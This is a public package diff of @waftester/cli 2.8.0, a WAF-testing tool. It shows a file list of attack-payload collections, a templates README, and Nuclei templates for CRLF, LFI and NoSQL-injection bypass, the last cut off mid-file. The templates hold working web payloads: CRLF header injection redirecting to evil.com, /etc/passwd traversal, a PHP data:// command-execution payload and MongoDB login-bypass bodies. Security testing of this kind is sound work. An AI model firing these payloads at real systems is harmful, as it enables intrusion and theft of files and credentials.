@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,221 @@
1
+ # Templates
2
+
3
+ Pre-built templates for WAF security testing, reporting, CI/CD integration, and scan configuration.
4
+
5
+ ## Directory Structure
6
+
7
+ ```
8
+ templates/
9
+ ├── nuclei/ # Nuclei-compatible YAML scanning templates
10
+ │ ├── http/
11
+ │ │ ├── waf-bypass/ # WAF bypass detection templates
12
+ │ │ └── waf-detection/ # WAF vendor fingerprinting
13
+ │ └── workflows/ # Conditional scan chains
14
+ ├── workflows/ # Multi-step scan orchestration
15
+ ├── policies/ # CI/CD pass/fail gate policies
16
+ ├── overrides/ # Test override configurations
17
+ ├── output/ # Go text/template output formats
18
+ └── report-configs/ # HTML report theme/layout configs
19
+ ```
20
+
21
+ ---
22
+
23
+ ## Nuclei Templates
24
+
25
+ Nuclei-compatible YAML templates for WAF bypass testing and detection.
26
+
27
+ ### WAF Bypass Templates (`nuclei/http/waf-bypass/`)
28
+
29
+ | Template | Severity | Description |
30
+ |----------|----------|-------------|
31
+ | `sqli-basic.yaml` | Critical | Basic SQL injection bypass tests |
32
+ | `sqli-evasion.yaml` | Critical | SQLi with evasion (case alt, comments, encoding) |
33
+ | `xss-basic.yaml` | High | Basic XSS bypass tests |
34
+ | `xss-evasion.yaml` | High | XSS with encoding and tag mutation |
35
+ | `rce-bypass.yaml` | Critical | Command injection with evasion |
36
+ | `lfi-bypass.yaml` | High | Path traversal / LFI bypass |
37
+ | `ssrf-bypass.yaml` | High | SSRF with IP encoding tricks |
38
+ | `ssti-bypass.yaml` | Critical | Server-side template injection |
39
+ | `crlf-bypass.yaml` | Medium | CRLF header injection |
40
+ | `xxe-bypass.yaml` | Critical | XML external entity injection |
41
+ | `nosqli-bypass.yaml` | High | NoSQL injection (MongoDB operators) |
42
+
43
+ ### WAF Detection Templates (`nuclei/http/waf-detection/`)
44
+
45
+ | Template | Description |
46
+ |----------|-------------|
47
+ | `cloudflare-detect.yaml` | Cloudflare WAF fingerprinting |
48
+ | `aws-waf-detect.yaml` | AWS WAF / Shield detection |
49
+ | `akamai-detect.yaml` | Akamai Kona Site Defender |
50
+ | `modsecurity-detect.yaml` | ModSecurity / OWASP CRS |
51
+ | `azure-waf-detect.yaml` | Azure Front Door / Azure WAF |
52
+
53
+ ### Nuclei Workflows (`nuclei/workflows/`)
54
+
55
+ | Workflow | Description |
56
+ |----------|-------------|
57
+ | `waf-assessment-workflow.yaml` | Detect WAF then run all bypass templates |
58
+
59
+ ### Usage
60
+
61
+ ```bash
62
+ # Run a single template
63
+ waf-tester nuclei -t templates/nuclei/http/waf-bypass/sqli-basic.yaml -u https://example.com
64
+
65
+ # Run all bypass templates
66
+ waf-tester nuclei -t templates/nuclei/http/waf-bypass/ -u https://example.com
67
+
68
+ # Run the full assessment workflow
69
+ waf-tester nuclei -t templates/nuclei/workflows/waf-assessment-workflow.yaml -u https://example.com
70
+ ```
71
+
72
+ ---
73
+
74
+ ## Workflow Templates
75
+
76
+ Multi-step scan orchestration YAML files for common assessment patterns.
77
+
78
+ | Workflow | Description |
79
+ |----------|-------------|
80
+ | `full-scan.yaml` | Complete: detect, learn, scan, report (HTML + SARIF) |
81
+ | `quick-probe.yaml` | Fast WAF detection + critical vulnerability probe |
82
+ | `ci-gate.yaml` | CI/CD security gate with policy enforcement |
83
+ | `waf-detection.yaml` | WAF detection + fingerprinting + behavior probing |
84
+ | `api-scan.yaml` | API-focused assessment (SQLi, NoSQLi, SSRF, JWT, GraphQL) |
85
+
86
+ ### Usage
87
+
88
+ ```bash
89
+ waf-tester workflow run templates/workflows/full-scan.yaml \
90
+ --input target=https://example.com \
91
+ --input output_dir=./results
92
+ ```
93
+
94
+ ---
95
+
96
+ ## Policy Templates
97
+
98
+ CI/CD pass/fail gate policies defining bypass thresholds and effectiveness requirements.
99
+
100
+ | Policy | Strictness | Effectiveness | Use Case |
101
+ |--------|------------|---------------|----------|
102
+ | `permissive.yaml` | Low | 60%+ | Development environments |
103
+ | `standard.yaml` | Medium | 85%+ | General assessments |
104
+ | `strict.yaml` | High | 95%+ | Production security gates |
105
+ | `owasp-top10.yaml` | High | 90%+ | OWASP Top 10 compliance |
106
+ | `pci-dss.yaml` | Maximum | 99%+ | PCI DSS 4.0 compliance |
107
+
108
+ ### Usage
109
+
110
+ ```bash
111
+ waf-tester run -u https://example.com --policy templates/policies/strict.yaml
112
+ ```
113
+
114
+ ---
115
+
116
+ ## Override Templates
117
+
118
+ Test override configurations for customizing scan behavior.
119
+
120
+ | Override | Description |
121
+ |----------|-------------|
122
+ | `false-positive-suppression.yaml` | Skip known false positive triggers |
123
+ | `api-only.yaml` | Skip browser-specific tests for JSON APIs |
124
+ | `crs-tuning.yaml` | Tuned for OWASP CRS environments |
125
+
126
+ ### Usage
127
+
128
+ ```bash
129
+ waf-tester run -u https://api.example.com --overrides templates/overrides/api-only.yaml
130
+ ```
131
+
132
+ ---
133
+
134
+ ## Output Format Templates
135
+
136
+ Go `text/template` files for custom output formatting. Full Sprig function library available.
137
+
138
+ | Template | Format | Description |
139
+ |----------|--------|-------------|
140
+ | `asff.tmpl` | JSON | AWS Security Hub Finding Format (ASFF) |
141
+ | `csv.tmpl` | CSV | Comma-separated values export |
142
+ | `text-summary.tmpl` | Text | Human-readable summary with severity icons |
143
+ | `markdown-report.tmpl` | Markdown | Full report in Markdown tables |
144
+ | `slack-notification.tmpl` | JSON | Slack Block Kit notification payload |
145
+ | `junit.tmpl` | XML | JUnit test report for CI/CD systems |
146
+
147
+ ### Usage
148
+
149
+ ```bash
150
+ # Use a file template
151
+ waf-tester run -u https://example.com --template templates/output/markdown-report.tmpl
152
+
153
+ # Pipe to Slack
154
+ waf-tester run -u https://example.com --template templates/output/slack-notification.tmpl \
155
+ | curl -X POST -H 'Content-Type: application/json' -d @- $SLACK_WEBHOOK
156
+ ```
157
+
158
+ ### Template Data
159
+
160
+ Templates have access to these fields:
161
+
162
+ | Field | Type | Description |
163
+ |-------|------|-------------|
164
+ | `.ScanID` | string | Unique scan identifier |
165
+ | `.Target` | string | Target URL |
166
+ | `.Timestamp` | string | RFC3339 timestamp |
167
+ | `.Duration` | float64 | Scan duration in seconds |
168
+ | `.TotalTests` | int | Total tests run |
169
+ | `.Blocked` | int | Tests blocked by WAF |
170
+ | `.BypassCount` | int | Bypasses detected |
171
+ | `.Errors` | int | Error count |
172
+ | `.Effectiveness` | float64 | WAF effectiveness percentage |
173
+ | `.Grade` | string | Letter grade (A+, A, B, etc.) |
174
+ | `.Results[]` | array | All test results |
175
+ | `.Bypasses[]` | array | Only bypass results |
176
+ | `.SeverityCounts` | map | Bypass counts by severity |
177
+ | `.CategoryCounts` | map | Bypass counts by category |
178
+
179
+ Custom functions: `escapeCSV`, `escapeXML`, `severityIcon`, `json`, `prettyJSON`, `owaspLink`, `cweLink`, plus the full [Sprig](http://masterminds.github.io/sprig/) library.
180
+
181
+ ---
182
+
183
+ ## Report Template Configs
184
+
185
+ HTML report theme and layout configurations.
186
+
187
+ | Config | Theme | Description |
188
+ |--------|-------|-------------|
189
+ | `minimal.yaml` | Light | Condensed essential findings |
190
+ | `enterprise.yaml` | Light | Full-featured enterprise report |
191
+ | `dark.yaml` | Dark | Dark theme for presentations |
192
+ | `compliance.yaml` | Light | Compliance-focused with evidence |
193
+ | `print.yaml` | Light | Print/PDF optimized, grayscale |
194
+
195
+ ### Usage
196
+
197
+ ```bash
198
+ waf-tester scan https://example.com --html report.html \
199
+ --template-config templates/report-configs/dark.yaml
200
+ ```
201
+
202
+ ### Custom Configs
203
+
204
+ Copy any config and customize. All available options:
205
+
206
+ - **Branding**: Company name, logo, colors, footer
207
+ - **Layout**: Theme (light/dark/auto), page width, TOC, compact mode
208
+ - **Sections**: Enable/disable any report section
209
+ - **Styling**: Fonts, colors, border radius, custom CSS
210
+ - **Charts**: Radar/bar/line charts, color palette, animation
211
+ - **Export**: Default format, allowed formats, raw data embedding
212
+
213
+ ---
214
+
215
+ ## Contributing Templates
216
+
217
+ 1. Follow the Nuclei template format for scanning templates
218
+ 2. Include `id`, `info.name`, `info.author`, `info.severity`, `info.description`, and `info.tags`
219
+ 3. Use descriptive filenames matching the template ID
220
+ 4. Add your template to the appropriate subdirectory
221
+ 5. Update this README with the new template
@@ -0,0 +1,146 @@
1
+ id: waf-crlf-bypass
2
+ info:
3
+ name: WAF CRLF Injection Bypass
4
+ author: waftester
5
+ severity: medium
6
+ description: |
7
+ Tests WAF effectiveness against CRLF injection and HTTP response splitting
8
+ bypass techniques. Covers URL-encoded CRLF, Unicode CRLF variants, HTTP
9
+ header injection, Set-Cookie injection, Location header manipulation,
10
+ and response body injection via header splitting.
11
+ reference:
12
+ - https://owasp.org/www-community/vulnerabilities/CRLF_Injection
13
+ - https://portswigger.net/kb/issues/00200200_http-response-header-injection
14
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ tags: crlf,waf,bypass,header-injection,response-splitting,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-93
20
+ - CWE-113
21
+ - CWE-693
22
+ metadata:
23
+ verified: true
24
+ max-request: 16
25
+ shodan-query: "http.waf"
26
+ fofa-query: "header=\"WAF\""
27
+
28
+ http:
29
+ # Standard CRLF injection - Set-Cookie via URL
30
+ - method: GET
31
+ path:
32
+ - "{{BaseURL}}/%0d%0aSet-Cookie:injected=true"
33
+ - "{{BaseURL}}/%0d%0aSet-Cookie:%20injected=true%0d%0a"
34
+ - "{{BaseURL}}/?redirect=%0d%0aSet-Cookie:injected=true"
35
+
36
+ matchers-condition: and
37
+ matchers:
38
+ - type: word
39
+ part: header
40
+ words:
41
+ - "Set-Cookie: injected"
42
+ - "injected=true"
43
+ condition: or
44
+ - type: dsl
45
+ dsl:
46
+ - "status_code != 403 && status_code != 406 && status_code != 429"
47
+ - type: word
48
+ part: body
49
+ words:
50
+ - "403"
51
+ - "Forbidden"
52
+ - "blocked"
53
+ - "Request Rejected"
54
+ negative: true
55
+ condition: or
56
+
57
+ extractors:
58
+ - type: kval
59
+ kval:
60
+ - set-cookie
61
+
62
+ # Location header injection - open redirect via CRLF
63
+ - method: GET
64
+ path:
65
+ - "{{BaseURL}}/?redirect=%0d%0aLocation:%20http://evil.com"
66
+ - "{{BaseURL}}/%0d%0aLocation:%20http://evil.com%0d%0a"
67
+ - "{{BaseURL}}/?url=%0d%0aLocation:http://evil.com"
68
+
69
+ matchers-condition: and
70
+ matchers:
71
+ - type: word
72
+ part: header
73
+ words:
74
+ - "Location: http://evil.com"
75
+ condition: or
76
+ - type: word
77
+ part: body
78
+ words:
79
+ - "403"
80
+ - "Forbidden"
81
+ - "blocked"
82
+ negative: true
83
+ condition: or
84
+
85
+ # Unicode CRLF variants - bypass URL-encoding filters
86
+ - method: GET
87
+ path:
88
+ - "{{BaseURL}}/%E5%98%8A%E5%98%8DSet-Cookie:injected=true"
89
+ - "{{BaseURL}}/%E5%98%8A%E5%98%8D%E5%98%8ASet-Cookie:%20injected=true"
90
+ - "{{BaseURL}}/%c4%8d%c4%8aSet-Cookie:injected=true"
91
+
92
+ matchers-condition: and
93
+ matchers:
94
+ - type: dsl
95
+ dsl:
96
+ - "status_code != 403 && status_code != 406"
97
+ - type: word
98
+ part: body
99
+ words:
100
+ - "403"
101
+ - "Forbidden"
102
+ - "blocked"
103
+ negative: true
104
+ condition: or
105
+
106
+ # Response body injection via double CRLF
107
+ - method: GET
108
+ path:
109
+ - "{{BaseURL}}/%0d%0a%0d%0a<script>alert(1)</script>"
110
+ - "{{BaseURL}}/?q=%0d%0a%0d%0a<html><body>injected</body></html>"
111
+ - "{{BaseURL}}/%0d%0a%0d%0a{\"injected\":true}"
112
+
113
+ matchers-condition: and
114
+ matchers:
115
+ - type: dsl
116
+ dsl:
117
+ - "status_code != 403 && status_code != 406"
118
+ - type: word
119
+ part: body
120
+ words:
121
+ - "403"
122
+ - "Forbidden"
123
+ - "blocked"
124
+ negative: true
125
+ condition: or
126
+
127
+ # Host header injection via CRLF
128
+ - method: GET
129
+ path:
130
+ - "{{BaseURL}}/%0aHost:evil.com"
131
+ - "{{BaseURL}}/%0d%0aHost:evil.com%0d%0a"
132
+ - "{{BaseURL}}/%0d%0aX-Forwarded-Host:evil.com"
133
+
134
+ matchers-condition: and
135
+ matchers:
136
+ - type: dsl
137
+ dsl:
138
+ - "status_code != 403 && status_code != 406"
139
+ - type: word
140
+ part: body
141
+ words:
142
+ - "403"
143
+ - "Forbidden"
144
+ - "blocked"
145
+ negative: true
146
+ condition: or
@@ -0,0 +1,152 @@
1
+ id: waf-lfi-bypass
2
+ info:
3
+ name: WAF Local File Inclusion Bypass
4
+ author: waftester
5
+ severity: high
6
+ description: |
7
+ Tests WAF effectiveness against path traversal and local file inclusion
8
+ bypass techniques. Covers standard traversal, double encoding, null byte
9
+ injection, PHP wrappers, Windows-specific paths, UTF-8 encoding tricks,
10
+ and glob pattern bypasses used against Sucuri and other WAFs.
11
+ reference:
12
+ - https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include
13
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
14
+ - https://github.com/0xInfection/Awesome-WAF
15
+ tags: lfi,traversal,waf,bypass,owasp-a01,path-traversal,waftester
16
+ classification:
17
+ cwe-id:
18
+ - CWE-22
19
+ - CWE-98
20
+ - CWE-693
21
+ metadata:
22
+ verified: true
23
+ max-request: 22
24
+ shodan-query: "http.waf"
25
+ fofa-query: "header=\"WAF\""
26
+
27
+ http:
28
+ # Standard path traversal variations
29
+ - method: GET
30
+ path:
31
+ - "{{BaseURL}}/?file=../../../etc/passwd"
32
+ - "{{BaseURL}}/?file=....//....//....//etc/passwd"
33
+ - "{{BaseURL}}/?file=..%2f..%2f..%2fetc%2fpasswd"
34
+ - "{{BaseURL}}/?file=..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts"
35
+ - "{{BaseURL}}/?file=..%c0%af..%c0%af..%c0%afetc/passwd"
36
+ - "{{BaseURL}}/?file=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd"
37
+
38
+ matchers-condition: and
39
+ matchers:
40
+ - type: word
41
+ part: body
42
+ words:
43
+ - "root:"
44
+ - "/bin/bash"
45
+ - "/bin/sh"
46
+ - "localhost"
47
+ condition: or
48
+ - type: dsl
49
+ dsl:
50
+ - "status_code != 403 && status_code != 406 && status_code != 429"
51
+ - type: word
52
+ part: body
53
+ words:
54
+ - "403"
55
+ - "Forbidden"
56
+ - "blocked"
57
+ - "Request Rejected"
58
+ negative: true
59
+ condition: or
60
+
61
+ extractors:
62
+ - type: regex
63
+ part: body
64
+ regex:
65
+ - "root:.*?:[0-9]+:[0-9]+"
66
+
67
+ # Double URL encoding
68
+ - method: GET
69
+ path:
70
+ - "{{BaseURL}}/?file=..%252f..%252f..%252fetc%252fpasswd"
71
+ - "{{BaseURL}}/?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
72
+ - "{{BaseURL}}/?file=..%25252f..%25252f..%25252fetc%25252fpasswd"
73
+
74
+ matchers-condition: and
75
+ matchers:
76
+ - type: dsl
77
+ dsl:
78
+ - "status_code != 403 && status_code != 406"
79
+ - type: word
80
+ part: body
81
+ words:
82
+ - "403"
83
+ - "Forbidden"
84
+ - "blocked"
85
+ negative: true
86
+ condition: or
87
+
88
+ # Null byte injection and extension bypass
89
+ - method: GET
90
+ path:
91
+ - "{{BaseURL}}/?file=/etc/passwd%00.jpg"
92
+ - "{{BaseURL}}/?file=/etc/passwd%00.png"
93
+ - "{{BaseURL}}/?file=../../../etc/passwd%00index.html"
94
+ - "{{BaseURL}}/?file=....//etc/passwd%00.pdf"
95
+
96
+ matchers-condition: and
97
+ matchers:
98
+ - type: dsl
99
+ dsl:
100
+ - "status_code != 403 && status_code != 406"
101
+ - type: word
102
+ part: body
103
+ words:
104
+ - "403"
105
+ - "Forbidden"
106
+ - "blocked"
107
+ negative: true
108
+ condition: or
109
+
110
+ # PHP wrapper and filter chain bypasses
111
+ - method: GET
112
+ path:
113
+ - "{{BaseURL}}/?file=php://filter/convert.base64-encode/resource=../../../etc/passwd"
114
+ - "{{BaseURL}}/?file=php://filter/read=string.rot13/resource=../../../etc/passwd"
115
+ - "{{BaseURL}}/?file=php://filter/zlib.deflate/convert.base64-encode/resource=../../../etc/passwd"
116
+ - "{{BaseURL}}/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
117
+ - "{{BaseURL}}/?file=expect://id"
118
+
119
+ matchers-condition: and
120
+ matchers:
121
+ - type: dsl
122
+ dsl:
123
+ - "status_code != 403 && status_code != 406"
124
+ - type: word
125
+ part: body
126
+ words:
127
+ - "403"
128
+ - "Forbidden"
129
+ - "blocked"
130
+ negative: true
131
+ condition: or
132
+
133
+ # Glob pattern bypasses (effective against Sucuri WAF)
134
+ - method: GET
135
+ path:
136
+ - "{{BaseURL}}/?file=/?in/cat+/et?/passw?"
137
+ - "{{BaseURL}}/?file=/???/??t+/???/??????"
138
+ - "{{BaseURL}}/?file=/e]t[c/p]a[s]s[wd"
139
+
140
+ matchers-condition: and
141
+ matchers:
142
+ - type: dsl
143
+ dsl:
144
+ - "status_code != 403 && status_code != 406"
145
+ - type: word
146
+ part: body
147
+ words:
148
+ - "403"
149
+ - "Forbidden"
150
+ - "blocked"
151
+ negative: true
152
+ condition: or
@@ -0,0 +1,166 @@
1
+ id: waf-nosqli-bypass
2
+ info:
3
+ name: WAF NoSQL Injection Bypass
4
+ author: waftester
5
+ severity: high
6
+ description: |
7
+ Tests WAF effectiveness against NoSQL injection bypass techniques. Targets
8
+ MongoDB operator injection, JavaScript injection, JSON body manipulation,
9
+ regex-based authentication bypass, CouchDB injection, and query operator
10
+ abuse via both GET parameters and POST JSON bodies.
11
+ reference:
12
+ - https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
13
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
14
+ - https://book.hacktricks.xyz/pentesting-web/nosql-injection
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ tags: nosqli,waf,bypass,mongodb,couchdb,owasp-a03,injection,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-943
20
+ - CWE-693
21
+ metadata:
22
+ verified: true
23
+ max-request: 18
24
+ shodan-query: "http.waf"
25
+ fofa-query: "header=\"WAF\""
26
+
27
+ http:
28
+ # MongoDB operator injection via query params
29
+ - method: GET
30
+ path:
31
+ - "{{BaseURL}}/?username[$ne]=&password[$ne]="
32
+ - "{{BaseURL}}/?username[$gt]=&password[$gt]="
33
+ - "{{BaseURL}}/?username[$regex]=.*&password[$regex]=.*"
34
+ - "{{BaseURL}}/?username[$nin][]=admin&password[$ne]="
35
+ - "{{BaseURL}}/?username[$exists]=true&password[$exists]=true"
36
+
37
+ matchers-condition: and
38
+ matchers:
39
+ - type: dsl
40
+ dsl:
41
+ - "status_code == 200 || status_code == 302"
42
+ - type: word
43
+ part: body
44
+ words:
45
+ - "403"
46
+ - "Forbidden"
47
+ - "blocked"
48
+ - "Request Rejected"
49
+ negative: true
50
+ condition: or
51
+
52
+ extractors:
53
+ - type: regex
54
+ part: body
55
+ regex:
56
+ - "(?i)(token|session|jwt|auth|welcome|dashboard)"
57
+
58
+ # MongoDB JSON body injection - authentication bypass
59
+ - method: POST
60
+ path:
61
+ - "{{BaseURL}}/api/login"
62
+ headers:
63
+ Content-Type: "application/json"
64
+ body: '{"username":{"$ne":""},"password":{"$ne":""}}'
65
+
66
+ matchers-condition: and
67
+ matchers:
68
+ - type: dsl
69
+ dsl:
70
+ - "status_code != 403 && status_code != 406 && status_code != 429"
71
+ - type: word
72
+ part: body
73
+ words:
74
+ - "403"
75
+ - "Forbidden"
76
+ - "blocked"
77
+ negative: true
78
+ condition: or
79
+
80
+ # MongoDB regex auth bypass
81
+ - method: POST
82
+ path:
83
+ - "{{BaseURL}}/api/login"
84
+ headers:
85
+ Content-Type: "application/json"
86
+ body: '{"username":{"$regex":"admin.*"},"password":{"$regex":".*"}}'
87
+
88
+ matchers-condition: and
89
+ matchers:
90
+ - type: dsl
91
+ dsl:
92
+ - "status_code != 403 && status_code != 406"
93
+ - type: word
94
+ part: body
95
+ words:
96
+ - "403"
97
+ - "Forbidden"
98
+ - "blocked"
99
+ negative: true
100
+ condition: or
101
+
102
+ # JavaScript injection in MongoDB $where
103
+ - method: POST
104
+ path:
105
+ - "{{BaseURL}}/api/search"
106
+ headers:
107
+ Content-Type: "application/json"
108
+ body: '{"$where":"this.username == this.password"}'
109
+
110
+ matchers-condition: and
111
+ matchers:
112
+ - type: dsl
113
+ dsl:
114
+ - "status_code != 403 && status_code != 406"
115
+ - type: word
116
+ part: body
117
+ words:
118
+ - "403"
119
+ - "Forbidden"
120
+ - "blocked"
121
+ negative: true
122
+ condition: or
123
+
124
+ # MongoDB $where with sleep for time-based detection
125
+ - method: POST
126
+ path:
127
+ - "{{BaseURL}}/api/search"
128
+ headers:
129
+ Content-Type: "application/json"
130
+ body: '{"$where":"sleep(3000)"}'
131
+
132
+ matchers-condition: and
133
+ matchers:
134
+ - type: dsl
135
+ dsl:
136
+ - "status_code != 403 && status_code != 406"
137
+ - type: word
138
+ part: body
139
+ words:
140
+ - "403"
141
+ - "Forbidden"
142
+ - "blocked"
143
+ negative: true
144
+ condition: or
145
+
146
+ # MongoDB aggregation pipeline injection
147
+ - method: POST
148
+ path:
149
